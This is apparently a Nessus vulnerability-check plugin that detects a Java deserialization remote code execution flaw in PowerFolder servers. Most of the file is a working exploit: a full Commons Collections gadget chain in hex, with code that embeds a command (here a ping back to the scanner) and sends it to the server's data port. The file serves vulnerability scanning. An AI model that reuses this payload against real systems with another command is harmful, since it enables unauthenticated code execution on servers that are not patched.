PowerFolder Java Object Deserialization RCE

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(91816);
  script_version("1.7");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/07");
  script_xref(name:"EDB-ID", value:"39854");

  script_name(english:"PowerFolder Java Object Deserialization RCE");

  script_set_attribute(attribute:"synopsis", value:
"The remote PowerFolder server is affected by a remote code execution
vulnerability.");
  script_set_attribute(attribute:"description", value:
"The remote PowerFolder server is affected by a remote code execution
vulnerability due to unsafe deserialize calls of unauthenticated Java
objects to the Apache Commons Collections (ACC) library. An
unauthenticated, remote attacker can exploit this, by sending
specially crafted Java objects to the HTTP interface, to execute
arbitrary code on the target host.");
  # https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?9c6d83db");
  script_set_attribute(attribute:"see_also", value:"https://wiki.powerfolder.com/display/PFC/PowerFolder+Client+10+SP5");
  script_set_attribute(attribute:"see_also", value:"http://lab.mogwaisecurity.de/advisories/MSA-2016-01/");
  script_set_attribute(attribute:"solution", value:
"Upgrade to PowerFolder version 10.5.394 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_set_attribute(attribute:"in_the_news", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2015/01/28");
  script_set_attribute(attribute:"patch_publication_date", value:"2016/04/01");
  script_set_attribute(attribute:"plugin_publication_date", value:"2016/06/24");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"x-cpe:/a:powerfolder:powerfolder");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"Misc.");

  script_copyright(english:"This script is Copyright (C) 2016-2022 Tenable Network Security, Inc.");

  script_dependencies("powerfolder_detect.nbin");
  script_require_keys("installed_sw/PowerFolder");
  script_require_ports("Services/www", 8080, 8443);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("webapp_func.inc");
include("http.inc");

appname = 'PowerFolder';

###
# Constructs a ysoserial Commons Collections 3 object with an embedded
# ping command back to Nessus. This function sniffs the traffic to
# determine if the ping is being sent back to us. 
#
# @param data_port: the PowerFolder data port
# @param windows: indicates if we should form a windows ping or not
# @return true if exploitation was successful and false otherwise.
###
function execute_ping(data_port, windows)
{
  local_var soc = open_sock_tcp(data_port);
  if (!soc) audit(AUDIT_NOT_LISTEN, appname, data_port);

  local_var base_length = 1657;
  local_var id_tag = hexstr(rand_str(length:10));
  local_var ping_cmd = "";
  if (windows == TRUE) ping_cmd = "ping -n 10 " + compat::this_host();
  else ping_cmd = "ping -c 10 -p " + string(id_tag) + " " + compat::this_host();
  
  # construct the java object. We'll need to embed our command and
  # adjust two length fields.
  base_length += len(ping_cmd);
  local_var cc3 = '\xac\xed\x00\x05\x73\x72\x00\x32\x73\x75\x6e\x2e\x72\x65\x66\x6c\x65\x63\x74\x2e\x61\x6e\x6e\x6f\x74\x61\x74\x69\x6f\x6e\x2e\x41\x6e\x6e\x6f\x74\x61\x74\x69\x6f\x6e\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x55\xca\xf5\x0f\x15\xcb\x7e\xa5\x02\x00\x02\x4c\x00\x0c\x6d\x65\x6d\x62\x65\x72\x56\x61\x6c\x75\x65\x73\x74\x00\x0f\x4c\x6a\x61\x76\x61\x2f\x75\x74\x69\x6c\x2f\x4d\x61\x70\x3b\x4c\x00\x04\x74\x79\x70\x65\x74\x00\x11\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x43\x6c\x61\x73\x73\x3b\x78\x70\x73\x7d\x00\x00\x00\x01\x00\x0d\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x4d\x61\x70\x78\x72\x00\x17\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x72\x65\x66\x6c\x65\x63\x74\x2e\x50\x72\x6f\x78\x79\xe1\x27\xda\x20\xcc\x10\x43\xcb\x02\x00\x01\x4c\x00\x01\x68\x74\x00\x25\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x72\x65\x66\x6c\x65\x63\x74\x2f\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x3b\x78\x70\x73\x71\x00\x7e\x00\x00\x73\x72\x00\x2a\x6f\x72\x67\x2e\x61\x70\x61\x63\x68\x65\x2e\x63\x6f\x6d\x6d\x6f\x6e\x73\x2e\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x2e\x6d\x61\x70\x2e\x4c\x61\x7a\x79\x4d\x61\x70\x6e\xe5\x94\x82\x9e\x79\x10\x94\x03\x00\x01\x4c\x00\x07\x66\x61\x63\x74\x6f\x72\x79\x74\x00\x2c\x4c\x6f\x72\x67\x2f\x61\x70\x61\x63\x68\x65\x2f\x63\x6f\x6d\x6d\x6f\x6e\x73\x2f\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x2f\x54\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72\x3b\x78\x70\x73\x72\x00\x3a\x6f\x72\x67\x2e\x61\x70\x61\x63\x68\x65\x2e\x63\x6f\x6d\x6d\x6f\x6e\x73\x2e\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x2e\x66\x75\x6e\x63\x74\x6f\x72\x73\x2e\x43\x68\x61\x69\x6e\x65\x64\x54\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72\x30\xc7\x97\xec\x28\x7a\x97\x04\x02\x00\x01\x5b\x00\x0d\x69\x54\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72\x73\x74\x00\x2d\x5b\x4c\x6f\x72\x67\x2f\x61\x70\x61\x63\x68\x65\x2f\x63\x6f\x6d\x6d\x6f\x6e\x73\x2f\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x2f\x54\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72\x3b\x78\x70\x75\x72\x00\x2d\x5b\x4c\x6f\x72\x67\x2e\x61\x70\x61\x63\x68\x65\x2e\x63\x6f\x6d\x6d\x6f\x6e\x73\x2e\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x2e\x54\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72\x3b\xbd\x56\x2a\xf1\xd8\x34\x18\x99\x02\x00\x00\x78\x70\x00\x00\x00\x02\x73\x72\x00\x3b\x6f\x72\x67\x2e\x61\x70\x61\x63\x68\x65\x2e\x63\x6f\x6d\x6d\x6f\x6e\x73\x2e\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x2e\x66\x75\x6e\x63\x74\x6f\x72\x73\x2e\x43\x6f\x6e\x73\x74\x61\x6e\x74\x54\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72\x58\x76\x90\x11\x41\x02\xb1\x94\x02\x00\x01\x4c\x00\x09\x69\x43\x6f\x6e\x73\x74\x61\x6e\x74\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x4f\x62\x6a\x65\x63\x74\x3b\x78\x70\x76\x72\x00\x37\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x6f\x72\x67\x2e\x61\x70\x61\x63\x68\x65\x2e\x78\x61\x6c\x61\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x78\x73\x6c\x74\x63\x2e\x74\x72\x61\x78\x2e\x54\x72\x41\x58\x46\x69\x6c\x74\x65\x72\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x78\x70\x73\x72\x00\x3e\x6f\x72\x67\x2e\x61\x70\x61\x63\x68\x65\x2e\x63\x6f\x6d\x6d\x6f\x6e\x73\x2e\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x2e\x66\x75\x6e\x63\x74\x6f\x72\x73\x2e\x49\x6e\x73\x74\x61\x6e\x74\x69\x61\x74\x65\x54\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72\x34\x8b\xf4\x7f\xa4\x86\xd0\x3b\x02\x00\x02\x5b\x00\x05\x69\x41\x72\x67\x73\x74\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x4f\x62\x6a\x65\x63\x74\x3b\x5b\x00\x0b\x69\x50\x61\x72\x61\x6d\x54\x79\x70\x65\x73\x74\x00\x12\x5b\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x43\x6c\x61\x73\x73\x3b\x78\x70\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74\x3b\x90\xce\x58\x9f\x10\x73\x29\x6c\x02\x00\x00\x78\x70\x00\x00\x00\x01\x73\x72\x00\x3a\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x6f\x72\x67\x2e\x61\x70\x61\x63\x68\x65\x2e\x78\x61\x6c\x61\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x78\x73\x6c\x74\x63\x2e\x74\x72\x61\x78\x2e\x54\x65\x6d\x70\x6c\x61\x74\x65\x73\x49\x6d\x70\x6c\x09\x57\x4f\xc1\x6e\xac\xab\x33\x03\x00\x06\x49\x00\x0d\x5f\x69\x6e\x64\x65\x6e\x74\x4e\x75\x6d\x62\x65\x72\x49\x00\x0e\x5f\x74\x72\x61\x6e\x73\x6c\x65\x74\x49\x6e\x64\x65\x78\x5b\x00\x0a\x5f\x62\x79\x74\x65\x63\x6f\x64\x65\x73\x74\x00\x03\x5b\x5b\x42\x5b\x00\x06\x5f\x63\x6c\x61\x73\x73\x71\x00\x7e\x00\x18\x4c\x00\x05\x5f\x6e\x61\x6d\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x4c\x00\x11\x5f\x6f\x75\x74\x70\x75\x74\x50\x72\x6f\x70\x65\x72\x74\x69\x65\x73\x74\x00\x16\x4c\x6a\x61\x76\x61\x2f\x75\x74\x69\x6c\x2f\x50\x72\x6f\x70\x65\x72\x74\x69\x65\x73\x3b\x78\x70\x00\x00\x00\x00\xff\xff\xff\xff\x75\x72\x00\x03\x5b\x5b\x42\x4b\xfd\x19\x15\x67\x67\xdb\x37\x02\x00\x00\x78\x70\x00\x00\x00\x02\x75\x72\x00\x02\x5b\x42\xac\xf3\x17\xf8\x06\x08\x54\xe0\x02\x00\x00\x78\x70';
  local_var length = "" + base_length;
  cc3 += mkdword(length);
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  length = "" + len(ping_cmd);
  cc3 += mkword(length);
  cc3 += ping_cmd;
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  # powerfolder expects the length to be sent first
  length = "" + len(cc3);
  send(socket:soc, data:mkdword(length));

  # send the ping command and listen for a response
  local_var filter = "icmp and icmp[0] = 8 and src host " + get_host_ip();
  local_var res = send_capture(socket:soc, data:cc3, pcap_filter:filter);
  local_var icmp = tolower(hexstr(get_icmp_element(icmp:res, element:"data")));
  close(soc);

  # check if we were successful. Extra validation on linux.
  if(isnull(icmp)) return FALSE;
  if(windows == TRUE) return TRUE;
  else if (id_tag >< icmp) return TRUE;

  return FALSE; 
}

get_install_count(app_name:appname, exit_if_zero:TRUE);
port = get_http_port(default:8080);
install = get_single_install(app_name:appname, port:port);
if (isnull(install["data_port"])) audit(AUDIT_NOT_DETECT,"PowerFolder data port");
data_port = install["data_port"];

# The server never responds to the deserialization attacks (beyond reseting
# the connection). So we will try to execute ping. Because ping is different
# on Windows vs. Linux (and we want to limit the number of pings sent) we will
# try to twice.
if (execute_ping(data_port:data_port, windows:FALSE) ||
    execute_ping(data_port:data_port, windows:TRUE))
{
  report =
    '\nNessus was able to exploit a Java deserialization vulnerability by' +
    '\nsending a crafted Java object.' +
    '\n';
  security_report_v4(port:data_port, severity:SECURITY_HOLE, extra:report);
}
else audit(AUDIT_LISTEN_NOT_VULN, appname, data_port);